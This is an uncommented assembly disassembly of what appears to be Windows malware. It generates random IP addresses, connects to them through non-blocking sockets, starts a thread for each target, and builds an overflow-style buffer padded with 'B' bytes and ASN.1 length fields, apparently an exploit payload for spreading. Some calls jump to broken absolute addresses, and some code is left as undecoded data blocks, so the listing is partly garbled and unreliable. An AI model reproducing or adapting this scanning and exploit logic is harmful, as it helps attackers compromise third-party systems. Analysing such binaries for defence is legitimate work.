		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41CCE3
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C304
		call	sub_41C2C2
		mov	[ebp+var_C], eax


loc_40C304:				; CODE XREF: sub_40C2AF+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C311
		call	sub_41C2C2
		mov	[ebp+var_8], eax


loc_40C311:				; CODE XREF: sub_40C2AF+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C31E
		call	sub_41C2C2
		mov	[ebp+var_4], eax


loc_40C31E:				; CODE XREF: sub_40C2AF+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C32A
		call	sub_41C2C2


loc_40C32A:				; CODE XREF: sub_40C2AF+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CBB70[ecx*8], eax


loc_40C348:				; CODE XREF: sub_40C2AF+26j
		pop	esi
		leave
		retn
sub_40C2AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C34B	proc near		; CODE XREF: ___:0040BBBEp
					; sub_40C3E8+BBp ...

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CBAA4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C374
		xor	eax, eax
		jmp	short loc_40C3E3
; ---------------------------------------------------------------------------


loc_40C374:				; CODE XREF: sub_40C34B+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CBA24
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CBAC0
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB9CC
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CBA0C
		push	esi
		mov	edi, eax
		call	dword_4CBABC
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40C3E3:				; CODE XREF: sub_40C34B+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C34B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C3E8	proc near		; DATA XREF: sub_40C3E8+353o

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		nop
		call	near ptr 2690E78h
		push	eax
		call	sub_41C2B8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_40C42F:				; CODE XREF: sub_40C3E8+204j
		mov	eax, dword_43E964[ebx]
		cmp	dword_4CBB74[eax*8], 0
		jz	loc_40C5F1
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C459
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40C2AF
		pop	ecx
		jmp	short loc_40C45E
; ---------------------------------------------------------------------------


loc_40C459:				; CODE XREF: sub_40C3E8+60j
		call	sub_40C267


loc_40C45E:				; CODE XREF: sub_40C3E8+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43E964[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CBAB0
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431E7C
		push	eax
		call	sub_41C266
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43E760[ebx]
		push	eax
		call	sub_41C266
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C34B
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40C5E1
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C535
		push	offset dword_4CDB70
		nop
		call	near ptr 77F7E21Fh
		push	[ebp+var_3C]
		push	edi
		call	dword_4CBAB0
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431E54
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C517
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C50B
		lea	eax, [ebp+var_140]


loc_40C50B:				; CODE XREF: sub_40C3E8+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_409869
		add	esp, 14h


loc_40C517:				; CODE XREF: sub_40C3E8+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_415D38
		mov	[esp+29Ch+var_29C], offset dword_4CDB70
		nop
		call	near ptr 77F7E300h
		jmp	loc_40C5E1
; ---------------------------------------------------------------------------


loc_40C535:				; CODE XREF: sub_40C3E8+D0j
		push	edi
		call	dword_4CBAB0
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41C266
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41C266
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C57A
		lea	eax, [ebp+var_140]


loc_40C57A:				; CODE XREF: sub_40C3E8+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41C266
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_43180C[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40C5E1:				; CODE XREF: sub_40C3E8+C6j
					; sub_40C3E8+148j
		push	7D0h
		nop
		call	near ptr 26803E7h
		jmp	loc_40C42F
; ---------------------------------------------------------------------------


loc_40C5F1:				; CODE XREF: sub_40C3E8+55j
		push	esi
		call	sub_40B6D6
		pop	ecx
		push	0
		nop
		call	near ptr 26E0000h


loc_40C600:				; DATA XREF: sub_401ACD+1F2Ao
					; sub_401ACD+5B7Ao
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CBA64
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CBB70[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BD91
		push	0Bh
		call	sub_40B602
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C6CE
		mov	esi, offset dword_4CDB70
		push	esi
		nop
		call	near ptr 26E068Ch
		push	80000400h
		push	esi
		nop
		call	near ptr 26E0540h
		test	eax, eax
		jnz	short loc_40C6CE
		lea	eax, [ebp+var_1CC]
		push	offset unk_431F60
		push	eax
		call	sub_41C266
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C6B8
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409869
		add	esp, 14h


loc_40C6B8:				; CODE XREF: sub_40C3E8+2B1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415D38
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40C6CE:				; CODE XREF: sub_40C3E8+27Bj
					; sub_40C3E8+297j
		mov	eax, [ebp+var_2C]
		mov	esi, dword_427080
		mov	edi, ebx
		mov	dword_4CBB74[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C79B


loc_40C6EC:				; CODE XREF: sub_40C3E8+3ADj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431F2C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B3BA
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43E964[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C3E8
		push	ebx
		push	ebx
		nop
		call	near ptr 2680456h
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_40C766


loc_40C75B:				; CODE XREF: sub_40C3E8+37Cj
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C78D
		push	1Eh
		call	esi
		jmp	short loc_40C75B
; ---------------------------------------------------------------------------


loc_40C766:				; CODE XREF: sub_40C3E8+371j
		call	near ptr 2680E92h
		nop
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431EF4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_40C78D:				; CODE XREF: sub_40C3E8+376j
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C6EC


loc_40C79B:				; CODE XREF: sub_40C3E8+2FEj
		cmp	[ebp+var_30], ebx
		jz	loc_40C845
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi


loc_40C7B0:				; CODE XREF: sub_40C3E8+468j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CBB70[eax*8]
		push	eax
		call	dword_4CBAB0
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431EB4
		push	eax
		call	sub_41C266
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C7FE
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409869
		add	esp, 14h


loc_40C7FE:				; CODE XREF: sub_40C3E8+3F7j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	dword_4CBB74[eax*8], ebx
		call	esi
		push	0Bh
		call	sub_40B602
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C835
		push	offset dword_4CDB70
		nop
		call	near ptr 26E068Ch


loc_40C835:				; CODE XREF: sub_40C3E8+440j
		push	[ebp+var_2C]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	near ptr 26E0000h
		nop


loc_40C845:				; CODE XREF: sub_40C3E8+3B6j
					; sub_40C3E8+475j
		mov	eax, [ebp+var_2C]
		cmp	dword_4CBB74[eax*8], 1
		jnz	loc_40C7B0
		push	7D0h
		call	esi
		jmp	short loc_40C845
sub_40C3E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C85F	proc near

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4CBA24
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CBAA4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C91D
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CB9CC
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43E96C[ecx], esi
		jz	short loc_40C91D
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CBAB0
		push	eax
		mov	edi, offset dword_4CE534
		push	offset dword_431F94
		push	edi
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409869
		push	edi
		call	sub_415D38
		add	esp, 28h


loc_40C91D:				; CODE XREF: sub_40C85F+5Dj
					; sub_40C85F+7Ej
		push	esi
		call	dword_4CBABC
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C85F	endp

; ---------------------------------------------------------------------------
dword_40C92C	dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
					; DATA XREF: sub_401ACD+5F60o
		dd 0FF4CBD8Dh, 0A5F3FFFFh, 7080358Bh, 83C70042h, 0A4h
		dd 1, 75FFFF33h, 0E075FFD0h, 0BAB015FFh, 8D50004Ch, 0FFFECC85h
		dd 1FBC68FFh, 0E8500043h, 0F8EEh, 0FECC858Dh, 0FF68FFFFh
		dd 50000001h, 69DC458Bh, 234C0h, 0E7600500h, 0E8500043h
		dd 0F638h, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh
		dd 40C85Fh, 0E8905757h,	2273AA2h, 4589C73Bh, 390B74FCh
		dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 83E890FCh, 0FF022542h
		dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
		dd 0E8500845h, 10334h, 0FF0CC483h, 15FF0875h, 4CB94Ch
		dd 45895040h, 2015FF08h, 89004CBAh, 458D0845h, 50046A08h
		dd 50E0458Dh, 1030BE8h,	0CC48300h, 0FFFF3DE9h
		db 0FFh
byte_40CA1D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5C80o
		dd 130EC81h, 8B530000h,	5756085Dh, 0F38B2B6Ah, 50BD8D59h
		dd 0F3FFFFFFh, 80358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
		dd 75FFD475h, 0B015FFE4h, 50004CBAh, 0FED0858Dh, 1068FFFFh
		dd 50004320h, 0F7FDE8h,	0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h
		dd 234C069h, 60050000h,	500043E7h, 0F547E8h, 1CC48300h
		dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C85F68h,	90575700h
		dd 2739B1E8h, 89C73B02h, 0B740845h, 75F87D39h, 0FF326A06h
		dd 0FFF5EBD6h, 0E8900875h, 2254192h, 8CB3FFh, 0BB890000h
		dd 0A8h, 458BD6FFh, 0D8453BD4h,	45FF0874h, 0FF6DE9D4h
		dd 75FFFFFFh, 0B015FFE4h, 50004CBAh, 0FED0858Dh, 0E468FFFFh
		dd 5000431Fh, 0F76DE8h,	858D5700h, 0FFFFFED0h, 50EC75FFh
		dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0CD53E8FFh, 75FFFFFFh
		dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh
		db 4, 0

; =============== S U B	R O U T	I N E =======================================



sub_40CB2A	proc near		; CODE XREF: sub_40CD9E+Ep
					; sub_40CD9E+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40CB2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CB34	proc near		; CODE XREF: sub_40CD9E+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41BEB5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40CB66
		push	ebx
		push	0
		push	edi
		call	sub_41BF70
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41CD20
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40CB66:				; CODE XREF: sub_40CB34+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40CB34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CB6E	proc near		; CODE XREF: sub_40CC68+18p
					; sub_40CCE2+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40CBBA
		push	edi
		push	0
		push	esi
		call	sub_41BF70
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41CD20
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41CD20
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40CBBA:				; CODE XREF: sub_40CB6E+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40CB6E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CBC3	proc near		; CODE XREF: sub_40CC68+5Ep
					; sub_40CC68+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40CBD3
		push	eax
		call	sub_41BA91
		pop	ecx


loc_40CBD3:				; CODE XREF: sub_40CBC3+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40CBC3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CBDC	proc near		; CODE XREF: sub_40CC68+20p
					; sub_40CD43+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40CC09
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41BEB5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40CC0D


loc_40CC09:				; CODE XREF: sub_40CBDC+Dj
		xor	al, al
		jmp	short loc_40CC64
; ---------------------------------------------------------------------------


loc_40CC0D:				; CODE XREF: sub_40CBDC+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41BF70
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40CC32
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40CC4C
; ---------------------------------------------------------------------------


loc_40CC32:				; CODE XREF: sub_40CBDC+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40CC4C:				; CODE XREF: sub_40CBDC+54j
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41BA91
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40CC64:				; CODE XREF: sub_40CBDC+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40CBDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CC68	proc near		; CODE XREF: sub_40CD9E+89p
					; sub_40CD9E+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset word_4CB8DC
		call	sub_40CB6E
		lea	ecx, [ebp+var_8]
		call	sub_40CBDC
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41BEB5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40CCA2
		xor	al, al
		jmp	short loc_40CCDE
; ---------------------------------------------------------------------------


loc_40CCA2:				; CODE XREF: sub_40CC68+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41BF70
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41CD20
		add	esp, 18h
		mov	ecx, esi
		call	sub_40CBC3
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40CBC3
		mov	al, 1


loc_40CCDE:				; CODE XREF: sub_40CC68+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40CC68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CCE2	proc near		; CODE XREF: sub_40CD16+14p
					; sub_40CD33+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40CB6E
		mov	ecx, esi
		call	sub_40CBC3
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CCE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD16	proc near		; CODE XREF: sub_40CD9E+F0p
					; sub_40CD9E+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41B9C0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CCE2
		pop	esi
		retn	4
sub_40CD16	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD33	proc near		; CODE XREF: sub_40CD7F+Bp
					; sub_40CD9E+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CCE2
		retn	8
sub_40CD33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD43	proc near		; CODE XREF: sub_40CD7F+16p
					; sub_40CD9E+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40CBDC
		test	al, al
		jz	short loc_40CD7C
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42CC90
		call	sub_40CB6E
		mov	ecx, esi
		call	sub_40CBC3
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40CD7C:				; CODE XREF: sub_40CD43+Fj
		pop	esi
		leave
		retn
sub_40CD43	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD7F	proc near		; CODE XREF: sub_40CD9E+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CD33
		test	al, al
		jz	short loc_40CD9A
		mov	ecx, esi
		call	sub_40CD43


loc_40CD9A:				; CODE XREF: sub_40CD7F+12j
		pop	esi
		retn	8
sub_40CD7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD9E	proc near		; CODE XREF: ___:0040D625p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40CB2A
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40D0F2
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40D0F2
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40CB2A
		lea	ecx, [ebp+var_20]
		call	sub_40CB2A
		lea	ecx, [ebp+var_50]
		call	sub_40CB2A
		lea	ecx, [ebp+var_18]
		call	sub_40CB2A
		lea	ecx, [ebp+var_40]
		call	sub_40CB2A
		lea	ecx, [ebp+var_38]
		call	sub_40CB2A
		lea	ecx, [ebp+var_28]
		call	sub_40CB2A
		push	4
		push	offset dword_432048
		lea	ecx, [ebp+var_30]
		call	sub_40CCE2
		push	3
		push	offset dword_432050
		lea	ecx, [ebp+var_30]
		call	sub_40CCE2
		lea	ecx, [ebp+var_30]
		call	sub_40CC68
		lea	ecx, [ebp+var_30]
		call	sub_40CD43
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40CCE2
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CCE2
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40CCE2
		lea	ecx, [ebp+var_20]
		call	sub_40CC68
		push	offset loc_4323CC
		lea	ecx, [ebp+var_50]
		call	sub_40CD16
		lea	ecx, [ebp+var_50]
		call	sub_40CC68
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
